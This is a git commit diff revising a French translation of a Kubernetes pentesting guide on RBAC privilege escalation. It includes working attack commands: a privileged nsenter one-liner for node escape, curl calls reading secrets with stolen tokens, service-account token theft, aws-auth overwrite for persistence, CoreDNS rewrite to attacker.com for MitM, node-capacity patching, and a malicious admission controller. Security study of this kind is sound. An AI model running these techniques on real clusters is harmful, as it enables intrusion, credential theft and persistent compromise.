Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus

This commit is contained in:
Translator
2025-04-13 14:33:49 +00:00
parent bd8aceb439
commit e56d3eadb6

View File

@@ -5,19 +5,19 @@
Ici, vous pouvez trouver certaines configurations de Roles et ClusterRoles potentiellement dangereuses.\
N'oubliez pas que vous pouvez obtenir toutes les ressources prises en charge avec `kubectl api-resources`
## **Élévation de Privilèges**
## **Escalade de Privilèges**
Se référant à l'art d'obtenir **l'accès à un autre principal** au sein du cluster **avec des privilèges différents** (au sein du cluster kubernetes ou vers des clouds externes) de ceux que vous avez déjà, dans Kubernetes, il existe essentiellement **4 techniques principales pour élever les privilèges** :
Se référant à l'art d'obtenir **l'accès à un autre principal** au sein du cluster **avec des privilèges différents** (au sein du cluster kubernetes ou vers des clouds externes) de ceux que vous avez déjà, dans Kubernetes, il existe essentiellement **4 techniques principales pour escalader les privilèges** :
- Être capable de **se faire passer pour** d'autres utilisateurs/groupes/SAs avec de meilleurs privilèges au sein du cluster kubernetes ou vers des clouds externes
- Être capable de **s'imposer** à d'autres utilisateurs/groupes/SAs avec de meilleurs privilèges au sein du cluster kubernetes ou vers des clouds externes
- Être capable de **créer/patcher/exécuter des pods** où vous pouvez **trouver ou attacher des SAs** avec de meilleurs privilèges au sein du cluster kubernetes ou vers des clouds externes
- Être capable de **lire des secrets** car les tokens des SAs sont stockés en tant que secrets
- Être capable de **s'échapper vers le nœud** depuis un conteneur, où vous pouvez voler tous les secrets des conteneurs en cours d'exécution sur le nœud, les identifiants du nœud, et les permissions du nœud au sein du cloud dans lequel il s'exécute (le cas échéant)
- Être capable de **s'échapper vers le nœud** depuis un conteneur, où vous pouvez voler tous les secrets des conteneurs en cours d'exécution sur le nœud, les identifiants du nœud et les permissions du nœud au sein du cloud dans lequel il s'exécute (le cas échéant)
- Une cinquième technique qui mérite d'être mentionnée est la capacité de **faire un port-forward** dans un pod, car vous pourriez être en mesure d'accéder à des ressources intéressantes au sein de ce pod.
### Accéder à n'importe quelle ressource ou verbe (Wildcard)
Le **wildcard (\*) donne la permission sur n'importe quelle ressource avec n'importe quel verbe**. Il est utilisé par les administrateurs. À l'intérieur d'un ClusterRole, cela signifie qu'un attaquant pourrait abuser de n'importe quel namespace dans le cluster
Le **wildcard (\*) donne la permission sur n'importe quelle ressource avec n'importe quel verbe**. Il est utilisé par les administrateurs. À l'intérieur d'un ClusterRole, cela signifie qu'un attaquant pourrait abuser de n'importe quel namespace dans le cluster.
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -49,7 +49,7 @@ verbs: ["create", "list", "get"]
```
### Pod Create - Steal Token
Un attaquant ayant les permissions de créer un pod pourrait attacher un compte de service privilégié dans le pod et voler le jeton pour usurper l'identité du compte de service. Élevant ainsi effectivement ses privilèges.
Un attaquant ayant les permissions de créer un pod pourrait attacher un compte de service privilégié dans le pod et voler le jeton pour usurper l'identité du compte de service. Élevant effectivement les privilèges.
Exemple d'un pod qui volera le jeton du compte de service `bootstrap-signer` et l'enverra à l'attaquant :
```yaml
@@ -72,7 +72,7 @@ serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
```
### Création et Évasion de Pod
### Création de Pod & Évasion
Les éléments suivants indiquent tous les privilèges qu'un conteneur peut avoir :
@@ -119,15 +119,13 @@ Créez le pod avec :
```bash
kubectl --token $token create -f mount_root.yaml
```
Une ligne tirée de [ce tweet](https://twitter.com/mauilion/status/1129468485480751104) et avec quelques ajouts :
Une ligne provenant de [ce tweet](https://twitter.com/mauilion/status/1129468485480751104) et avec quelques ajouts :
```bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
```
Maintenant que vous pouvez échapper au nœud, consultez les techniques post-exploitation dans :
#### Stealth
Vous voulez probablement être **plus furtif**, dans les pages suivantes, vous pouvez voir ce à quoi vous pourriez accéder si vous créez un pod en n'activant que certains des privilèges mentionnés dans le modèle précédent :
Vous voulez probablement être **plus furtif**. Dans les pages suivantes, vous pouvez voir ce à quoi vous pourriez accéder si vous créez un pod en n'activant que certains des privilèges mentionnés dans le modèle précédent :
- **Privileged + hostPID**
- **Privileged only**
@@ -136,11 +134,11 @@ Vous voulez probablement être **plus furtif**, dans les pages suivantes, vous p
- **hostNetwork**
- **hostIPC**
_Vous pouvez trouver un exemple de comment créer/abuser des configurations de pods privilégiés précédents dans_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
_Vous pouvez trouver un exemple de comment créer/abuser des configurations de pods privilégiés précédentes dans_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
### Pod Create - Move to cloud
Si vous pouvez **créer** un **pod** (et éventuellement un **compte de service**), vous pourriez être en mesure de **obtenir des privilèges dans un environnement cloud** en **assignant des rôles cloud à un pod ou à un compte de service** et ensuite y accéder.\
Si vous pouvez **créer** un **pod** (et éventuellement un **compte de service**), vous pourriez être en mesure d'**obtenir des privilèges dans un environnement cloud** en **assignant des rôles cloud à un pod ou à un compte de service** et ensuite y accéder.\
De plus, si vous pouvez créer un **pod avec l'espace de noms réseau de l'hôte**, vous pouvez **voler le rôle IAM** de l'instance **node**.
Pour plus d'informations, consultez :
@@ -193,20 +191,25 @@ path: /
**`pods/exec`** est une ressource dans kubernetes utilisée pour **exécuter des commandes dans un shell à l'intérieur d'un pod**. Cela permet de **lancer des commandes à l'intérieur des conteneurs ou d'obtenir un shell à l'intérieur**.
Par conséquent, il est possible de **rentrer dans un pod et voler le token du SA**, ou d'entrer dans un pod privilégié, s'échapper vers le nœud et voler tous les tokens des pods dans le nœud et (ab)user du nœud :
Par conséquent, il est possible de **rentrer dans un pod et de voler le token du SA**, ou d'entrer dans un pod privilégié, de s'échapper vers le nœud et de voler tous les tokens des pods dans le nœud et (ab)user du nœud :
```bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
```
> [!NOTE]
> Par défaut, la commande est exécutée dans le premier conteneur du pod. Obtenez **tous les pods dans un conteneur** avec `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` et ensuite **indiquez le conteneur** où vous souhaitez l'exécuter avec `kubectl exec -it <pod_name> -c <container_name> -- sh`
Si c'est un conteneur distroless, vous pouvez essayer d'utiliser **des commandes intégrées** pour obtenir des informations sur les conteneurs ou télécharger vos propres outils comme un **busybox** en utilisant : **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
### port-forward
Cette permission permet de **transférer un port local vers un port dans le pod spécifié**. Cela est destiné à faciliter le débogage des applications s'exécutant à l'intérieur d'un pod, mais un attaquant pourrait en abuser pour accéder à des applications intéressantes (comme des bases de données) ou vulnérables (webs ?) à l'intérieur d'un pod :
```
Cette permission permet de **rediriger un port local vers un port dans le pod spécifié**. Cela est destiné à faciliter le débogage des applications s'exécutant à l'intérieur d'un pod, mais un attaquant pourrait en abuser pour accéder à des applications intéressantes (comme des bases de données) ou vulnérables (webs ?) à l'intérieur d'un pod :
```bash
kubectl port-forward pod/mypod 5000:5000
```
### Hôtes Écrits /var/log/ Évasion
### Hôtes Écrivable /var/log/ Évasion
Comme [**indiqué dans cette recherche**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), si vous pouvez accéder ou créer un pod avec le **répertoire `/var/log/` des hôtes monté** dessus, vous pouvez **vous échapper du conteneur**.\
C'est essentiellement parce que lorsque le **Kube-API essaie d'obtenir les logs** d'un conteneur (en utilisant `kubectl logs <pod>`), il **demande le fichier `0.log`** du pod en utilisant le point de terminaison `/logs/` du service **Kubelet**.\
C'est essentiellement parce que lorsque le **Kube-API essaie d'obtenir les journaux** d'un conteneur (en utilisant `kubectl logs <pod>`), il **demande le fichier `0.log`** du pod en utilisant le point de terminaison `/logs/` du service **Kubelet**.\
Le service Kubelet expose le point de terminaison `/logs/` qui expose essentiellement **le système de fichiers `/var/log` du conteneur**.
Par conséquent, un attaquant ayant **accès en écriture dans le dossier /var/log/** du conteneur pourrait abuser de ce comportement de 2 manières :
@@ -310,7 +313,7 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Listing Secrets
### Lister les secrets
La permission de **lister les secrets pourrait permettre à un attaquant de réellement lire les secrets** en accédant au point de terminaison de l'API REST :
```bash
@@ -318,7 +321,7 @@ curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1
```
### Création et Lecture de Secrets
Il existe un type spécial de secret Kubernetes de type **kubernetes.io/service-account-token** qui stocke les jetons de compte de service. Si vous avez les permissions de créer et de lire des secrets, et que vous connaissez également le nom du compte de service, vous pouvez créer un secret comme suit et ensuite voler le jeton du compte de service de la victime à partir de celui-ci :
Il existe un type spécial de secret Kubernetes de type **kubernetes.io/service-account-token** qui stocke les jetons de compte de service. Si vous avez les permissions pour créer et lire des secrets, et que vous connaissez également le nom du compte de service, vous pouvez créer un secret comme suit et ensuite voler le jeton du compte de service de la victime à partir de celui-ci :
```yaml
apiVersion: v1
kind: Secret
@@ -379,17 +382,17 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
```
Notez que si vous êtes autorisé à créer et lire des secrets dans un certain namespace, le serviceaccount de la victime doit également se trouver dans ce même namespace.
### Lecture d'un secret force brute des identifiants de token
### Lecture d'un secret force brute des ID de token
Bien qu'un attaquant en possession d'un token avec des permissions de lecture nécessite le nom exact du secret pour l'utiliser, contrairement au privilège plus large de _**lister les secrets**_, il existe encore des vulnérabilités. Les comptes de service par défaut dans le système peuvent être énumérés, chacun étant associé à un secret. Ces secrets ont une structure de nom : un préfixe statique suivi d'un token alphanumérique aléatoire de cinq caractères (à l'exclusion de certains caractères) selon le [code source](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
Bien qu'un attaquant en possession d'un token avec des permissions de lecture nécessite le nom exact du secret pour l'utiliser, contrairement au privilège plus large de _**lister les secrets**_, il existe encore des vulnérabilités. Les comptes de service par défaut dans le système peuvent être énumérés, chacun étant associé à un secret. Ces secrets ont une structure de nom : un préfixe statique suivi d'un token alphanumérique aléatoire de cinq caractères (excluant certains caractères) selon le [code source](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
Le token est généré à partir d'un ensemble limité de 27 caractères (`bcdfghjklmnpqrstvwxz2456789`), plutôt que de la plage alphanumérique complète. Cette limitation réduit le nombre total de combinaisons possibles à 14 348 907 (27^5). Par conséquent, un attaquant pourrait raisonnablement exécuter une attaque par force brute pour déduire le token en quelques heures, ce qui pourrait conduire à une élévation de privilèges en accédant à des comptes de service sensibles.
Le token est généré à partir d'un ensemble limité de 27 caractères (`bcdfghjklmnpqrstvwxz2456789`), plutôt que de la plage alphanumérique complète. Cette limitation réduit le nombre total de combinaisons possibles à 14 348 907 (27^5). Par conséquent, un attaquant pourrait raisonnablement exécuter une attaque par force brute pour déduire le token en quelques heures, ce qui pourrait entraîner une élévation de privilèges en accédant à des comptes de service sensibles.
### Demandes de signature de certificat
Si vous avez les verbes **`create`** dans la ressource `certificatesigningrequests` (ou au moins dans `certificatesigningrequests/nodeClient`). Vous pouvez **créer** un nouveau CeSR d'un **nouveau nœud**.
Si vous avez les verbes **`create`** dans la ressource `certificatesigningrequests` (ou au moins dans `certificatesigningrequests/nodeClient`). Vous pouvez **créer** un nouveau CeSR d'un **nouveau nœud.**
Selon la [documentation, il est possible d'approuver automatiquement ces demandes](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), donc dans ce cas, vous **n'avez pas besoin de permissions supplémentaires**. Sinon, vous devrez être en mesure d'approuver la demande, ce qui signifie une mise à jour dans `certificatesigningrequests/approval` et `approve` dans `signers` avec resourceName `<signerNameDomain>/<signerNamePath>` ou `<signerNameDomain>/*`
Selon la [documentation, il est possible d'approuver automatiquement ces demandes](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), donc dans ce cas, vous **n'avez pas besoin de permissions supplémentaires**. Sinon, vous devrez être en mesure d'approuver la demande, ce qui signifie mettre à jour dans `certificatesigningrequests/approval` et `approve` dans `signers` avec resourceName `<signerNameDomain>/<signerNamePath>` ou `<signerNameDomain>/*`
Un **exemple de rôle** avec toutes les permissions requises est :
```yaml
@@ -422,9 +425,9 @@ resourceNames:
verbs:
- approve
```
Alors, avec le nouveau CSR de nœud approuvé, vous pouvez **abuser** des permissions spéciales des nœuds pour **voler des secrets** et **escalader les privilèges**.
Alors, avec le nouveau CSR de nœud approuvé, vous pouvez **abuser** des permissions spéciales des nœuds pour **voler des secrets** et **escalader des privilèges**.
Dans [**cet article**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) et [**celui-ci**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), la configuration de GKE K8s TLS Bootstrap est configurée avec **signature automatique** et elle est abusée pour générer des identifiants d'un nouveau nœud K8s et ensuite abuser de ceux-ci pour escalader les privilèges en volant des secrets.\
Dans [**cet article**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) et [**celui-ci**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), la configuration de GKE K8s TLS Bootstrap est configurée avec **signature automatique** et elle est abusée pour générer des identifiants d'un nouveau nœud K8s et ensuite les utiliser pour escalader des privilèges en volant des secrets.\
Si vous **avez les privilèges mentionnés, vous pourriez faire la même chose**. Notez que le premier exemple contourne l'erreur empêchant un nouveau nœud d'accéder aux secrets à l'intérieur des conteneurs parce qu'un **nœud ne peut accéder qu'aux secrets des conteneurs montés sur lui.**
La façon de contourner cela est simplement de **créer des identifiants de nœud pour le nom du nœud où le conteneur avec les secrets intéressants est monté** (mais vérifiez juste comment le faire dans le premier article) :
@@ -433,7 +436,7 @@ La façon de contourner cela est simplement de **créer des identifiants de nœu
```
### AWS EKS aws-auth configmaps
Les principaux qui peuvent modifier **`configmaps`** dans l'espace de noms kube-system sur les clusters EKS (doivent être dans AWS) peuvent obtenir des privilèges d'administrateur de cluster en écrasant le **configmap** **aws-auth**.\
Les principaux qui peuvent modifier **`configmaps`** dans l'espace de noms kube-system sur les clusters EKS (doivent être dans AWS) peuvent obtenir des privilèges d'administrateur de cluster en écrasant le **aws-auth** configmap.\
Les verbes nécessaires sont **`update`** et **`patch`**, ou **`create`** si le configmap n'a pas été créé :
```bash
# Check if config map exists
@@ -476,16 +479,56 @@ groups:
> [!WARNING]
> Vous pouvez utiliser **`aws-auth`** pour **la persistance** en donnant accès à des utilisateurs d'**autres comptes**.
>
> Cependant, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **ne fonctionne pas depuis un compte différent**. Mais en réalité, `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` fonctionne si vous mettez l'ARN du cluster au lieu du simple nom.\
> Cependant, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **ne fonctionne pas depuis un compte différent**. Mais en réalité, `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` fonctionne si vous mettez l'ARN du cluster au lieu de juste le nom.\
> Pour faire fonctionner `kubectl`, assurez-vous simplement de **configurer** le **kubeconfig de la victime** et dans les arguments d'exécution aws, ajoutez `--profile other_account_role` afin que kubectl utilise le profil de l'autre compte pour obtenir le token et contacter AWS.
### CoreDNS config map
Si vous avez les permissions pour modifier le **`coredns` configmap** dans l'espace de noms `kube-system`, vous pouvez modifier les adresses auxquelles les domaines seront résolus afin de pouvoir effectuer des attaques MitM pour **voler des informations sensibles ou injecter du contenu malveillant**.
Les verbes nécessaires sont **`update`** et **`patch`** sur le **`coredns`** configmap (ou tous les config maps).
Un fichier **coredns** régulier contient quelque chose comme ceci :
```yaml
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}
```
Un attaquant pourrait le télécharger en exécutant `kubectl get configmap coredns -n kube-system -o yaml`, le modifier en ajoutant quelque chose comme `rewrite name victim.com attacker.com` afin que chaque fois que `victim.com` est accédé, en réalité `attacker.com` soit le domaine qui sera accédé. Puis, il pourrait l'appliquer en exécutant `kubectl apply -f poison_dns.yaml`.
Une autre option est de simplement éditer le fichier en exécutant `kubectl edit configmap coredns -n kube-system` et en apportant des modifications.
### Escalade dans GKE
Il existe **2 façons d'assigner des permissions K8s aux principaux GCP**. Dans tous les cas, le principal a également besoin de la permission **`container.clusters.get`** pour pouvoir rassembler des informations d'identification pour accéder au cluster, sinon vous devrez **générer votre propre fichier de configuration kubectl** (suivez le lien suivant).
Il existe **2 façons d'assigner des permissions K8s aux principaux GCP**. Dans tous les cas, le principal a également besoin de la permission **`container.clusters.get`** pour pouvoir rassembler des identifiants pour accéder au cluster, sinon vous devrez **générer votre propre fichier de configuration kubectl** (suivez le lien suivant).
> [!WARNING]
> Lorsqu'il communique avec le point de terminaison API K8s, le **token d'authentification GCP sera envoyé**. Ensuite, GCP, via le point de terminaison API K8s, vérifiera d'abord si le **principal** (par e-mail) **a un accès à l'intérieur du cluster**, puis il vérifiera s'il a **un accès via GCP IAM**.\
> Si **l'un** de ces éléments est **vrai**, il sera **répondu**. Sinon, une **erreur** suggérant de donner **des permissions via GCP IAM** sera donnée.
> Lorsqu'il communique avec le point de terminaison API K8s, le **jeton d'authentification GCP sera envoyé**. Ensuite, GCP, via le point de terminaison API K8s, vérifiera d'abord si le **principal** (par e-mail) **a un accès à l'intérieur du cluster**, puis il vérifiera s'il a **un accès via GCP IAM**.\
> Si **l'un** de ces éléments est **vrai**, il sera **répondu**. Sinon, une **erreur** suggérant de donner des **permissions via GCP IAM** sera donnée.
Ensuite, la première méthode consiste à utiliser **GCP IAM**, les permissions K8s ont leurs **permissions GCP IAM équivalentes**, et si le principal les a, il pourra les utiliser.
@@ -495,28 +538,28 @@ Ensuite, la première méthode consiste à utiliser **GCP IAM**, les permissions
La deuxième méthode consiste à **assigner des permissions K8s à l'intérieur du cluster** en identifiant l'utilisateur par son **e-mail** (comptes de service GCP inclus).
### Créer un token de service
### Créer un jeton de service
Les principaux qui peuvent **créer des TokenRequests** (`serviceaccounts/token`) lorsqu'ils communiquent avec le point de terminaison API K8s SAs (info de [**ici**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
### ephemeralcontainers
Les principaux qui peuvent **`update`** ou **`patch`** **`pods/ephemeralcontainers`** peuvent obtenir **une exécution de code sur d'autres pods**, et potentiellement **s'échapper** vers leur nœud en ajoutant un conteneur éphémère avec un securityContext privilégié.
Les principaux qui peuvent **`update`** ou **`patch`** **`pods/ephemeralcontainers`** peuvent obtenir **l'exécution de code sur d'autres pods**, et potentiellement **s'échapper** vers leur nœud en ajoutant un conteneur éphémère avec un securityContext privilégié.
### ValidatingWebhookConfigurations ou MutatingWebhookConfigurations
Les principaux avec l'un des verbes `create`, `update` ou `patch` sur `validatingwebhookconfigurations` ou `mutatingwebhookconfigurations` pourraient être en mesure de **créer l'une de ces webhookconfigurations** afin de pouvoir **escalader les privilèges**.
Pour un [`exemple de mutatingwebhookconfigurations, consultez cette section de ce post`](#malicious-admission-controller).
Pour un [exemple de `mutatingwebhookconfigurations`, consultez cette section de ce post](#malicious-admission-controller).
### Escalader
Comme vous pouvez le lire dans la section suivante : [**Prévention intégrée de l'escalade de privilèges**](#built-in-privileged-escalation-prevention), un principal ne peut ni mettre à jour ni créer des rôles ou des clusterroles sans avoir lui-même ces nouvelles permissions. Sauf s'il a le **verbe `escalate`** sur **`roles`** ou **`clusterroles`**.\
Comme vous pouvez le lire dans la section suivante : [**Prévention intégrée de l'escalade de privilèges**](#built-in-privileged-escalation-prevention), un principal ne peut ni mettre à jour ni créer des rôles ou des clusterroles sans avoir lui-même ces nouvelles permissions. Sauf s'il a le **verbe `escalate` ou `*`** sur **`roles`** ou **`clusterroles`** et les options de liaison respectives.\
Alors il peut mettre à jour/créer de nouveaux rôles, clusterroles avec de meilleures permissions que celles qu'il a.
### Proxy des nœuds
Les principaux ayant accès à la **sous-ressource `nodes/proxy`** peuvent **exécuter du code sur des pods** via l'API Kubelet (selon [**ceci**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Plus d'informations sur l'authentification Kubelet sur cette page :
Les principaux ayant accès à la sous-ressource **`nodes/proxy`** peuvent **exécuter du code sur des pods** via l'API Kubelet (selon [**ceci**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Plus d'informations sur l'authentification Kubelet sur cette page :
{{#ref}}
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
@@ -526,7 +569,7 @@ Vous avez un exemple de comment obtenir [**RCE en parlant autorisé à une API K
### Supprimer des pods + nœuds non planifiables
Les principaux qui peuvent **supprimer des pods** (verbe `delete` sur la ressource `pods`), ou **évincer des pods** (verbe `create` sur la ressource `pods/eviction`), ou **changer le statut des pods** (accès à `pods/status`) et peuvent **rendre d'autres nœuds non planifiables** (accès à `nodes/status`) ou **supprimer des nœuds** (verbe `delete` sur la ressource `nodes`) et ont le contrôle sur un pod, pourraient **voler des pods d'autres nœuds** afin qu'ils soient **exécutés** dans le **nœud compromis** et que l'attaquant puisse **voler les tokens** de ces pods.
Les principaux qui peuvent **supprimer des pods** (verbe `delete` sur la ressource `pods`), ou **évincer des pods** (verbe `create` sur la ressource `pods/eviction`), ou **changer le statut des pods** (accès à `pods/status`) et peuvent **rendre d'autres nœuds non planifiables** (accès à `nodes/status`) ou **supprimer des nœuds** (verbe `delete` sur la ressource `nodes`) et ont le contrôle sur un pod, pourraient **voler des pods d'autres nœuds** afin qu'ils soient **exécutés** dans le **nœud compromis** et l'attaquant peut **voler les jetons** de ces pods.
```bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
@@ -539,27 +582,27 @@ kubectl delete pods -n kube-system <privileged_pod_name>
```
### Services status (CVE-2020-8554)
Les principaux qui peuvent **modifier** **`services/status`** peuvent définir le champ `status.loadBalancer.ingress.ip` pour exploiter le **CVE-2020-8554 non corrigé** et lancer des **attaques MiTM contre le cluster**. La plupart des atténuations pour le CVE-2020-8554 ne préviennent que les services ExternalIP (selon [**ceci**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
Les principaux qui peuvent **modifier** **`services/status`** peuvent définir le champ `status.loadBalancer.ingress.ip` pour exploiter le **CVE-2020-8554 non corrigé** et lancer des **attaques MiTM contre le cluster**. La plupart des atténuations pour le CVE-2020-8554 empêchent uniquement les services ExternalIP (selon [**ceci**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
### Nodes and Pods status
Les principaux avec des permissions **`update`** ou **`patch`** sur `nodes/status` ou `pods/status`, pourraient modifier des étiquettes pour affecter les contraintes de planification appliquées.
Les principaux ayant des permissions **`update`** ou **`patch`** sur `nodes/status` ou `pods/status`, pourraient modifier des étiquettes pour affecter les contraintes de planification appliquées.
## Built-in Privileged Escalation Prevention
Kubernetes a un [mécanisme intégré](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) pour prévenir l'escalade de privilèges.
Kubernetes dispose d'un [mécanisme intégré](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) pour prévenir l'escalade de privilèges.
Ce système garantit que **les utilisateurs ne peuvent pas élever leurs privilèges en modifiant des rôles ou des liaisons de rôles**. L'application de cette règle se produit au niveau de l'API, fournissant une protection même lorsque l'autorisation RBAC est inactive.
Ce système garantit que **les utilisateurs ne peuvent pas élever leurs privilèges en modifiant des rôles ou des liaisons de rôles**. L'application de cette règle se fait au niveau de l'API, fournissant une protection même lorsque l'autorisation RBAC est inactive.
La règle stipule qu'un **utilisateur ne peut créer ou mettre à jour un rôle que s'il possède toutes les permissions que le rôle comprend**. De plus, la portée des permissions existantes de l'utilisateur doit correspondre à celle du rôle qu'il tente de créer ou de modifier : soit à l'échelle du cluster pour les ClusterRoles, soit confinée au même espace de noms (ou à l'échelle du cluster) pour les Roles.
La règle stipule qu'un **utilisateur ne peut créer ou mettre à jour un rôle que s'il possède toutes les permissions que le rôle comprend**. De plus, la portée des permissions existantes de l'utilisateur doit correspondre à celle du rôle qu'il tente de créer ou de modifier : soit à l'échelle du cluster pour les ClusterRoles, soit limitée au même espace de noms (ou à l'échelle du cluster) pour les Roles.
> [!WARNING]
> Il y a une exception à la règle précédente. Si un principal a le **verbe `escalate`** sur **`roles`** ou **`clusterroles`**, il peut augmenter les privilèges des rôles et des clusterroles même sans avoir les permissions lui-même.
> Il existe une exception à la règle précédente. Si un principal a le **verbe `escalate`** sur **`roles`** ou **`clusterroles`**, il peut augmenter les privilèges des rôles et des clusterroles même sans avoir les permissions lui-même.
### **Get & Patch RoleBindings/ClusterRoleBindings**
> [!CAUTION]
> **Apparemment, cette technique a fonctionné auparavant, mais selon mes tests, elle ne fonctionne plus pour la même raison expliquée dans la section précédente. Vous ne pouvez pas créer/modifier un rolebinding pour vous donner ou donner à un autre SA des privilèges si vous ne les avez pas déjà.**
> **Apparemment, cette technique fonctionnait auparavant, mais selon mes tests, elle ne fonctionne plus pour la même raison expliquée dans la section précédente. Vous ne pouvez pas créer/modifier un rolebinding pour vous donner ou donner à un autre SA des privilèges si vous ne les avez pas déjà.**
Le privilège de créer des Rolebindings permet à un utilisateur de **lier des rôles à un compte de service**. Ce privilège peut potentiellement conduire à une escalade de privilèges car il **permet à l'utilisateur de lier des privilèges d'administrateur à un compte de service compromis.**
@@ -569,55 +612,29 @@ Le privilège de créer des Rolebindings permet à un utilisateur de **lier des
Par défaut, il n'y a pas de cryptage dans la communication entre les pods. Authentification mutuelle, bidirectionnelle, pod à pod.
#### Create a sidecar proxy app <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
#### Create a sidecar proxy app
Créez votre .yaml
```bash
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
```
Éditez votre .yaml et ajoutez les lignes décommentées :
Un conteneur sidecar consiste simplement à ajouter un **deuxième (ou plusieurs) conteneur à l'intérieur d'un pod**.
Par exemple, ce qui suit fait partie de la configuration d'un pod avec 2 conteneurs :
```yaml
#apiVersion: v1
#kind: Pod
#metadata:
# name: security-context-demo
#spec:
# securityContext:
# runAsUser: 1000
# runAsGroup: 3000
# fsGroup: 2000
# volumes:
# - name: sec-ctx-vol
# emptyDir: {}
# containers:
# - name: sec-ctx-demo
# image: busybox
command:
[
"sh",
"-c",
"apt update && apt install iptables -y && iptables -L && sleep 1h",
]
securityContext:
capabilities:
add: ["NET_ADMIN"]
# volumeMounts:
# - name: sec-ctx-vol
# mountPath: /data/demo
# securityContext:
# allowPrivilegeEscalation: true
```
Voir les journaux du proxy :
```bash
kubectl logs app -C proxy
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
```
Par exemple, pour créer une porte dérobée dans un pod existant avec un nouveau conteneur, vous pourriez simplement ajouter un nouveau conteneur dans la spécification. Notez que vous pourriez **donner plus de permissions** au deuxième conteneur que le premier n'aura pas.
Plus d'infos sur : [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
### Contrôleur d'admission malveillant
Un contrôleur d'admission **intercepte les requêtes vers le serveur API Kubernetes** avant la persistance de l'objet, mais **après que la requête soit authentifiée** **et autorisée**.
Si un attaquant parvient d'une manière ou d'une autre à **injecter un contrôleur d'admission de mutation**, il pourra **modifier des requêtes déjà authentifiées**. Cela peut potentiellement permettre une élévation de privilèges, et plus généralement persister dans le cluster.
Si un attaquant parvient d'une manière ou d'une autre à **injecter un contrôleur d'admission de mutation**, il pourra **modifier des requêtes déjà authentifiées**. Cela pourrait potentiellement permettre une élévation de privilèges, et plus généralement persister dans le cluster.
**Exemple de** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) :
```bash
@@ -626,7 +643,7 @@ cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
```
Vérifiez l'état pour voir s'il est prêt :
Vérifiez le statut pour voir s'il est prêt :
```bash
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
@@ -645,9 +662,9 @@ kubectl describe po nginx | grep "Image: "
```
![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp)
Comme vous pouvez le voir dans l'image ci-dessus, nous avons essayé d'exécuter l'image `nginx`, mais l'image exécutée finale est `rewanthtammana/malicious-image`. Que s'est-il passé !!?
